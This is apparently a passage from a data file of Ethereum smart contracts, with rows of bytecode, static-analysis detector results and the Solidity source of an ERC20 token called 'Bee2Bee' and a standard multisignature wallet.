fffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e5b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eef565b610e6e838261176190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108157600080fd5b600360009054906101000a900460ff1615151561109d57600080fd5b6001600360006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f444943450000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900460ff16151561116657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111a257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111f057600080fd5b61124282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061141a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116a357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561176f57fe5b818303905092915050565b600080828401905083811015151561178e57fe5b80915050929150505600a165627a7a72305820d9b7a9c160a728cb20c7ae78281a3ae59cf1f64abb4079c0303fbae5759ef5870029 | {"success": true, "error": null, "results": {}} | 10,507 |
0x66aca70b227acd2fbb520047692845ba755e608d | /**
*Submitted for verification at Etherscan.io on 2021-07-25
*/
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.7.3;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
require(m != 0, "SafeMath: to ceil number shall not be zero");
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
/**
* @dev Interface of the erc20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only allowed by owner");
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "Invalid address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Bee2Bee is IERC20, Owned {
using SafeMath for uint256;
string public symbol = "Bee";
string public name = "Bee2Bee Coin";
uint256 public decimals = 18;
uint256 _totalSupply = 300000000000 * 10 ** (decimals); // 300B
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() {
owner = 0xFD6F686F9b0DF541c3E3266ce5254d6591c6e274;
balances[owner] = balances[owner].add(_totalSupply);
emit Transfer(address(0), owner, _totalSupply);
}
/** BEP20Interface function's implementation **/
function totalSupply() external override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) external override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) external override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) external override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
require(address(to) != address(0), "Invalid receiver address");
require(balances[msg.sender] >= tokens, "Insufficient senders balance");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) external override returns (bool success){
require(tokens <= allowed[from][msg.sender], "Insufficient allowance"); //check allowance
require(balances[from] >= tokens, "Insufficient senders balance");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a08231146101c35780638da5cb5b146101e957806395d89b411461020d578063a9059cbb14610215578063dd62ed3e14610241578063f2fde38b1461026f576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b6610297565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610322565b604080519115158252519081900360200190f35b610173610388565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b0381358116916020810135909116906040013561038e565b610173610565565b610173600480360360208110156101d957600080fd5b50356001600160a01b031661056b565b6101f1610586565b604080516001600160a01b039092168252519081900360200190f35b6100b6610595565b6101576004803603604081101561022b57600080fd5b506001600160a01b0381351690602001356105ef565b6101736004803603604081101561025757600080fd5b506001600160a01b0381358116916020013516610754565b6102956004803603602081101561028557600080fd5b50356001600160a01b031661077f565b005b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561031a5780601f106102ef5761010080835404028352916020019161031a565b820191906000526020600020905b8154815290600101906020018083116102fd57829003601f168201915b505050505081565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045490565b6001600160a01b03831660009081526006602090815260408083203384529091528120548211156103ff576040805162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b604482015290519081900360640190fd5b6001600160a01b03841660009081526005602052604090205482111561046c576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e742073656e646572732062616c616e636500000000604482015290519081900360640190fd5b6001600160a01b03841660009081526005602052604090205461048f90836108cf565b6001600160a01b03851660009081526005602090815260408083209390935560068152828220338352905220546104c690836108cf565b6001600160a01b038086166000908152600660209081526040808320338452825280832094909455918616815260059091522054610504908361086e565b6001600160a01b0380851660008181526005602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60035481565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561031a5780601f106102ef5761010080835404028352916020019161031a565b60006001600160a01b03831661064c576040805162461bcd60e51b815260206004820152601860248201527f496e76616c696420726563656976657220616464726573730000000000000000604482015290519081900360640190fd5b336000908152600560205260409020548211156106b0576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e742073656e646572732062616c616e636500000000604482015290519081900360640190fd5b336000908152600560205260409020546106ca90836108cf565b33600090815260056020526040808220929092556001600160a01b038516815220546106f6908361086e565b6001600160a01b0384166000818152600560209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b031633146107d6576040805162461bcd60e51b815260206004820152601560248201527427b7363c9030b63637bbb2b210313c9037bbb732b960591b604482015290519081900360640190fd5b6001600160a01b038116610823576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000828201838110156108c8576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006108c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506000818484111561099b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610960578181015183820152602001610948565b50505050905090810190601f16801561098d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fea26469706673582212202e06585c392155a1c22592dd3e8baed4c6d3237b134456af826dba1dadef38bd64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,508 |
0xcb9225bb407bc585ffbb863dc924aad07c97af2c | pragma solidity ^0.5.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
external
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 0x60806040526004361061012a5760003560e01c8063a0e67e2b116100ab578063c01a8c841161006f578063c01a8c84146107c4578063c6427474146107ff578063d74f8edd14610905578063dc8452cd14610930578063e20056e61461095b578063ee22610b146109cc5761012a565b8063a0e67e2b146105b0578063a8abe69a1461061c578063b5dc40c3146106ce578063b77bf6001461075e578063ba51a6df146107895761012a565b806354741525116100f257806354741525146103675780637065cb48146103c4578063784547a7146104155780638b51d13f146104685780639ace38c2146104b75761012a565b8063025e7c2714610184578063173825d9146101ff57806320ea8d86146102505780632f54bf6e1461028b5780633411c81c146102f4575b6000341115610182573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561019057600080fd5b506101bd600480360360208110156101a757600080fd5b8101908080359060200190929190505050610a07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020b57600080fd5b5061024e6004803603602081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b005b34801561025c57600080fd5b506102896004803603602081101561027357600080fd5b8101908080359060200190929190505050610cd1565b005b34801561029757600080fd5b506102da600480360360208110156102ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b604051808215151515815260200191505060405180910390f35b34801561030057600080fd5b5061034d6004803603604081101561031757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e93565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b506103ae6004803603604081101561038a57600080fd5b81019080803515159060200190929190803515159060200190929190505050610ec2565b6040518082815260200191505060405180910390f35b3480156103d057600080fd5b50610413600480360360208110156103e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f54565b005b34801561042157600080fd5b5061044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050611167565b604051808215151515815260200191505060405180910390f35b34801561047457600080fd5b506104a16004803603602081101561048b57600080fd5b810190808035906020019092919050505061124c565b6040518082815260200191505060405180910390f35b3480156104c357600080fd5b506104f0600480360360208110156104da57600080fd5b8101908080359060200190929190505050611315565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b83811015610572578082015181840152602081019050610557565b50505050905090810190601f16801561059f5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105bc57600080fd5b506105c561140a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106085780820151818401526020810190506105ed565b505050509050019250505060405180910390f35b34801561062857600080fd5b506106776004803603608081101561063f57600080fd5b810190808035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050611498565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ba57808201518184015260208101905061069f565b505050509050019250505060405180910390f35b3480156106da57600080fd5b50610707600480360360208110156106f157600080fd5b81019080803590602001909291905050506115fc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561074a57808201518184015260208101905061072f565b505050509050019250505060405180910390f35b34801561076a57600080fd5b50610773611828565b6040518082815260200191505060405180910390f35b34801561079557600080fd5b